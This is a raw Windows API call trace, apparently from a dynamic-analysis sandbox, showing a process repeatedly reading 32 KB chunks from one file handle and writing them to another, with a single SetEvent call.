	[0247.168] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.169] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.170] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.171] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.172] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.173] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.173] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.175] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.175] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.176] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.179] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.182] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.182] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.186] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.187] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.188] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.188] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.190] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.190] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.192] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.192] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.193] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.194] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.195] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.195] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.196] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.198] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.201] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.201] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.211] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.211] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.213] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.213] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.214] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.215] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.216] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.216] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.218] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.218] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.219] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.220] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.221] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.253] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.262] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.262] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.263] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.263] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.129] SetEvent (hEvent=0x124) returned 1
	[0248.129] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.129] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.129] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.130] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.130] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.130] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.131] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.131] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.131] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.131] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.132] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.132] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.134] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.134] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.135] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.135] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.136] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.136] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.137] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.137] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.138] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.138] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.138] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.138] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.139] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.139] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.140] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.140] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.142] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.142] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.143] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.143] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.367] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.368] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.369] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.369] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.370] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.370] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.371] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.371] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.372] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.373] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.374] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.374] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.376] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
